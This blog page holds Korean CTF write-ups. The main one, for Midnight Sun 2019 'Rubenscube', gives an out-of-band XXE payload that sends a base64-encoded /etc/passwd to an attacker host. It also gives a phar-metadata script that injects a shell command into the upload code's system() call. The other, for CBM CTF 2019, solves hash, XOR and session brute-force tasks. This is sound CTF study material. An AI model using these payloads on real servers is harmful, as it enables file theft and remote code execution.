'2019/04/08'에 해당되는 글 3건

근래 풀어본 CTF 웹 문제중에 가장 재미있게 풀어서 오랜만에 자세하게 풀이를 남겨봤다.


먼저 문제에서 코드를 제공해 준다. 총 3개의 PHP 파일을 주는데 각  소스는 아래와 같다.


index.php


<?php

session_start();

?>

<!DOCTYPE html>

<html lang="en">


<head>

    <link type="text/css" rel="stylesheet" href="style.css" />

</head>

<body>

            <div class="container">

                <img src="static/robot.png" class="centered imgrobot" />

                <form method="post" action="upload.php" enctype="multipart/form-data">

                        <input type="file" onchange="this.form.submit()" name="image" class="btn"/>

                </form>

                <hr>

                <div class="center">

                <?php

                $base_dir = "images/" . session_id() . "/";

                foreach (glob($base_dir . "*_thumb*") as $filename) {

                    // cut off _thumb.jpg

                    $fname = substr($filename, 0, -10);

                    $large_fname = glob( $fname . "*")[0];

                    echo "<a href='$large_fname'><img src='$filename' /></a>\n";

                }

                ?>

                </div>

            </div>


</body>

</html>



gallery.php


<?php

session_start();

?>


<!DOCTYPE html>

<html lang="en">


<head>

    <link type="text/css" rel="stylesheet" href="style.css" />

</head>

<body>


<form method="post" action="upload.php" enctype="multipart/form-data">

    <div class="container">

        <h1>Your Uploaded Images:</h1>

        <?php

        $base_dir = "images/" . session_id() . "/";

        foreach (glob($base_dir . "*_thumb*") as $filename) {

            // cut off _thumb.jpg

            $fname = substr($filename, 0, -10);

            $large_fname = glob( $fname . "*")[0];

            echo "<a href='$large_fname'><img src='$filename' /></a>\n";

        }

        ?>

    </div>

    <div class="container">

        <a href="index.php">Upload More</a></span>

    </div>

</form>

</body>


</html>



upload.php


<?php

session_start();


function calcImageSize($file, $mime_type) {

    if ($mime_type == "image/png"||$mime_type == "image/jpeg") {

        $stats = getimagesize($file);  // Doesn't work for svg...

        $width = $stats[0];

        $height = $stats[1];

    } else {

        $xmlfile = file_get_contents($file);

        $dom = new DOMDocument();

        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

        $svg = simplexml_import_dom($dom);

        $attrs = $svg->attributes();

        $width = (int) $attrs->width;

        $height = (int) $attrs->height;

    }

    return [$width, $height];

}



class Image {


    function __construct($tmp_name)

    {

        $allowed_formats = [

            "image/png" => "png",

            "image/jpeg" => "jpg",

            "image/svg+xml" => "svg"

        ];

        $this->tmp_name = $tmp_name;

        $this->mime_type = mime_content_type($tmp_name);


        if (!array_key_exists($this->mime_type, $allowed_formats)) {

            // I'd rather 500 with pride than 200 without security

            die("Invalid Image Format!");

        }


        $size = calcImageSize($tmp_name, $this->mime_type);

        if ($size[0] * $size[1] > 1337 * 1337) {

            die("Image too big!");

        }


        $this->extension = "." . $allowed_formats[$this->mime_type];

        $this->file_name = sha1(random_bytes(20));

        $this->folder = $file_path = "images/" . session_id() . "/";

    }


    function create_thumb() {

        $file_path = $this->folder . $this->file_name . $this->extension;

        $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";

        system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);

    }


    function __destruct()

    {

        if (!file_exists($this->folder)){

            mkdir($this->folder);

        }

        $file_dst = $this->folder . $this->file_name . $this->extension;

        move_uploaded_file($this->tmp_name, $file_dst);

        $this->create_thumb();

    }

}


new Image($_FILES['image']['tmp_name']);

header('Location: index.php');



위 코드 중 핵심 코드는 upload.php인데 해당 소스를 쭉 오디팅 하다보면 취약점이 터질만한 곳이 대충 3군데가 보인다.


일단 기본적인 웹쉘 업로드 같은 경우는 불가능한데 코드에서 눈에 띄는게 일단 svg업로드 시 xml parsing, 파일 convert 시 system 명령어를 사용, __destruct 매직 메서드의 존재이다.


대충 위의 포인트로 터질만하다고 보여진건 xxe, command injection, imagemagik rce, php objection injection 정도였다. 근데 각 취약점 별로 실제 트리거가 가능할지 검증이 필요했다.


먼저 가장 먼저 해볼만한게 xxe였다. 코드를 보면 별다른 필터가 없어서 Externel Entity만 활성화되어있으면 그냥 로직만 쭉 따라가면 당연히 될만한 상황이었다.

파싱 후 데이터가 뿌려지는 부분이 없어서 oob를 통해 아래와 같이 검증을 해보니 실제로 xxe가 터지는걸 확인할 수 있었다.


ssr.svg


<!DOCTYPE svg [

<!ENTITY % dtd SYSTEM "http://my_ip/test.dtd">

%dtd;

%param1;

]>

<svg>&ssr;</svg>


test.dtd


<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

<!ENTITY % param1 "<!ENTITY ssr SYSTEM 'http://my_ip:9999/%data;'>">




/etc/passwd


root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

_apt:x:100:65534::/nonexistent:/bin/false

messagebus:x:101:101::/var/run/dbus:/bin/false


여기까지 트리거하고 일단 플래그 파일을 최대한 찾아봤는데 딱히 찾을만한 방법이 없었다. 그래서 위에서 처음 눈여겨봤던 다른 취약점들 트리거가 가능한지 생각해봤다. 

일단 imagemagik과 같은 경우 취약버전이 아닌지 안먹혔고 command injection과 같은 경우 일반적인 상황으로는 인자 값을 컨트롤 할 수가 없었다.

마지막 남은게 PHP Object injection이었는데 역직렬화 해주는 로직이 코드 상에는 존재하지 않았다. 그래서 눈여겨 본게 file_exists 함수였는데 해당 함수 인자로 내가 업로드한 phar 파일을 트리거 할 수가 없었다. 여기서 뭔가 방법이 없을까 하다가 까먹고 있던 xxe가 떠올랐다.

xxe를 통해 phar wrapper가 사용가능하기 때문에 php objection injection이 가능할거라 생각했고 해당 공격을 통해 $this->folder , $this->file_name , $this->extension 요 값들을 내가 원하는데로 컨트롤해 command injection을 트리거해봤다.

먼저 phar 파일은 아래 코드를 통해 image 헤더를 삽입 해 만들었고 일단 실제 생각한데로 취약점이 터지는지 확인해 봤다.

createPhar.php

<?php
class Image{};
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar('ssr.phar');
$phar->startBuffering();
$phar->addFromString('ssr', 'ssr');
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");

$object = new Image();
$object->file_name = "&id&";
$phar->setMetadata($object);
$phar->stopBuffering();



여기까지 진행 후 phar파일이 일단 업로드가 정상적으로 됬는지 확인해봤는데 여기서 조금 삽질을 했다. 업로드된 후 내가 확인한 파일은 convert작업으로인해 serialize된 데이터가 제거된 상태였다. 여기서 이걸 우회할 수가 있나라고 한참 생각하다가 실제로 해당 명령어를 로컬에서 실행해보니 기존 파일이 convert되면서 삭제 및 변경되는게 아니라 원본 그대로 유지가 되고 있었다. 원본 파일에는 serialize 데이터가 그대로 존재했기 떄문에 아래와 같이 xxe로 phar wrapper를 사용해줬고 rce가 터지는걸 확인할 수 있었다.




여기서부턴 그냥 rce로 플래그 파일 찾으면 된다. 아래와 같이 실행권한만 있는 플래그 파일이 있어서 실행해주니 플래그가 나왔다.




Flag: midnight{R3lying_0n_PHP_4lw45_W0rKs}









'CTF > Writeup' 카테고리의 다른 글

ASIS CTF 2019 Fort Knox  (0) 2019.04.22
Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
CBM CTF 2019 Writeup  (0) 2019.04.08
Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Radar CTF 2019 Inj3c7  (0) 2019.04.05
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Node.js API Server(1)

2019. 4. 8. 02:07

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

CBM CTF 2019 Writeup

CTF/Writeup 2019. 4. 8. 01:21

Hashish


아래 함수 결과에 해당하는 결과 값을 파일로 제공해 준다.


__int64 __fastcall genhash(char *input)

{

  unsigned int v1; // eax

  char *v2; // rax

  __int64 input_byte; // rax

  char *v4; // [rsp+8h] [rbp-18h]

  unsigned int count; // [rsp+14h] [rbp-Ch]

  signed __int64 v6; // [rsp+18h] [rbp-8h]


  v4 = input;

  v6 = 13LL;

  count = 0;

  while ( 1 )

  {

    v2 = v4++;

    input_byte = (unsigned int)*v2;

    if ( !(_DWORD)input_byte )

      break;

    v6 = 3 * v6 + (signed int)input_byte;

    v1 = count++;

    printf("hash-%d : %ld\n", v1, v6);

  }

  return input_byte;

}


hash.txt


hash-0 : 138

hash-1 : 512

hash-2 : 1645

hash-3 : 5034

hash-4 : 15218

hash-5 : 45756

hash-6 : 137391

hash-7 : 412292

hash-8 : 1236927

hash-9 : 3710845

hash-10 : 11132642

hash-11 : 33398021

hash-12 : 100194167

hash-13 : 300582553

hash-14 : 901747774

hash-15 : 2705243426

hash-16 : 8115730373

hash-17 : 24347191171

hash-18 : 73041573621

hash-19 : 219124720917

hash-20 : 657374162799

hash-21 : 1972122488522

hash-22 : 5916367465576



위 로직에 맞게 역연산 해주면 된다.

solve.py
hash = [13,138,512,1645,5034,15218,45756,137391,412292,1236927,3710845,11132642,33398021,100194167,300582553,901747774,2705243426,8115730373,24347191171,73041573621,219124720917,657374162799,1972122488522,5916367465576]

flag = ""
for i in xrange(len(hash)):
    if i==len(hash)-1:
        break
    flag += chr(hash[i+1]-(3*hash[i]))
print flag


cryptoware

암호화된 파일을 하나 주는데 복호화 하면 된다.

암호화 코드를 보면 시드 값이 고정이 안되있어서 암호화 시 사용한 xor값을 알 수가 없다. 근데 잘 보면 키 값이 0~127 까지밖에 안되서 그냥 brute force 해주며 된다.

encrypt function

__int64 __fastcall encrypt(char *input)
{
  unsigned int v1; // eax
  int v2; // eax
  __int64 v3; // rdx
  _QWORD *v4; // rax
  __int64 v5; // rdx
  __int64 v6; // rax
  char v8; // [rsp+10h] [rbp-17C0h]
  char v9; // [rsp+210h] [rbp-15C0h]
  __int64 v10; // [rsp+310h] [rbp-14C0h]
  char input_2[5010]; // [rsp+420h] [rbp-13B0h]
  char input_1; // [rsp+17B2h] [rbp-1Eh]
  char v13; // [rsp+17B3h] [rbp-1Dh]
  int v14; // [rsp+17B4h] [rbp-1Ch]
  int j; // [rsp+17B8h] [rbp-18h]
  int i; // [rsp+17BCh] [rbp-14h]

  v1 = time(0LL);
  srand(v1);
  v2 = rand() % 95;
  v14 = v2 + 32;
  v13 = v2 + 32;
  std::basic_ifstream<char,std::char_traits<char>>::basic_ifstream(&v9);
  std::basic_ifstream<char,std::char_traits<char>>::open(&v9, input, 8LL);
  if ( (unsigned __int8)std::basic_ios<char,std::char_traits<char>>::operator!(&v10) )
  {
    std::operator<<<std::char_traits<char>>(&std::cerr, "File not found", v3);
    exit(1);
  }
  for ( i = 0; ; ++i )
  {
    v4 = (_QWORD *)std::operator>><char,std::char_traits<char>>(&v9, &input_1);
    if ( !(unsigned __int8)std::basic_ios<char,std::char_traits<char>>::operator bool((char *)v4 + *(_QWORD *)(*v4 - 24LL)) )
      break;
    input_2[i] = input_1;
  }
  std::basic_ifstream<char,std::char_traits<char>>::close(&v9);
  v6 = std::operator<<<std::char_traits<char>>(&std::cout, input_2, v5);
  std::ostream::operator<<(v6, &MEMORY[0x7FB33BCF6B70]);
  std::basic_ofstream<char,std::char_traits<char>>::basic_ofstream(&v8, input, 16LL);
  for ( j = 0; j < i; ++j )
    std::operator<<<std::char_traits<char>>(&v8, (unsigned int)(char)(v13 ^ input_2[j]));
  std::basic_ofstream<char,std::char_traits<char>>::close(&v8);
  std::basic_ofstream<char,std::char_traits<char>>::~basic_ofstream(&v8);
  return std::basic_ifstream<char,std::char_traits<char>>::~basic_ifstream(&v9);
}


solve.py

enc_string =  """.CNsdyD[NYJ_DYBXNS_YNFNGRHDFFDEJXJHDF[DENE_BEFDYNHDF[GNSHB[CNYX.iRB_XNGM.^XBELJHDEX_JE_YN[NJ_BEL@NR.JXBF[GNsdyHB[CNYHJE_YB]BJGGRINIYD@NE^XBELMYNZ^NEHRJEJGRXBX.bM_CNHDE_NE_DMJERFNXXJLNHJEINL^NXXNODYD_CNY\BXN@ED\E_CNE_CN@NRHJEINYN]NJGNO.b_X[YBFJYRFNYB_BX_CJ_B_BXXBF[GN_DBF[GNFNE_.JEO_CJ__CNsdyD[NYJ_BDEBXHDF[^_J_BDEJGGRBENS[NEXB]N.jXBF[GNYN[NJ_BELsdy.B.N.^XBEL_CNXJFN@NRMDYSDYD[NYJ_BDEDE_CN\CDGNOJ_J.HB[CNYBX_CNYNMDYNXDFN_BFNX^XNOMDYCBOBELBEMDYFJ_BDEBEHJXNX\CNYNED[JY_BH^GJYXNH^YB_RBXYNZ^BYNO.iR_CN\JRMGJLBXHIFH_MPXCNODED_@ED\JID^_YN]NYXBELV"""
dec_string = ""
for i in xrange(128):
    dec_string = ""
    for j in xrange(len(enc_string)):
        dec_string += chr(ord(enc_string[j])^i)
    if "cbmctf" in dec_string:
        index = dec_string.find("cbmctf")
        print dec_string[index:]


Long road


cool[넘버] 페이지 Brute Force해주면 플래그 나오는 페이지가 있다.



In mountains I feel fresh

페이지 요청할때 마다 세션값이 다시 세팅되는데 이거 파싱해서 다음 페이지 요청할때 세션 값 재 세팅해주는 식으로 Brute Force 해주면 된다.


solve.py

import requests


def request(cookie):

    url = "http://cbmctf2019.cf:5001/"

    headers = {'Cookie': 'session=' + cookie}

    response = requests.get(url, headers=headers)

    if "cbmctf" in response.text:

        print response.text

    return response.headers['Set-Cookie'].replace("session=","").replace("; HttpOnly; Path=/","")

cookie = "eyJ2aXNpdHMiOjUwfQ.XKn_Hg.nLw94DRaPh2xkEeMUuApvcihnBo"

for i in range(0,1000):

    cookie = request(cookie)

    print cookie


'CTF > Writeup' 카테고리의 다른 글

Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Radar CTF 2019 Inj3c7  (0) 2019.04.05
Encrypt CTF 2019 Write up  (0) 2019.04.05
블로그 이미지

JeonYoungSin

메모 기록용 공간

,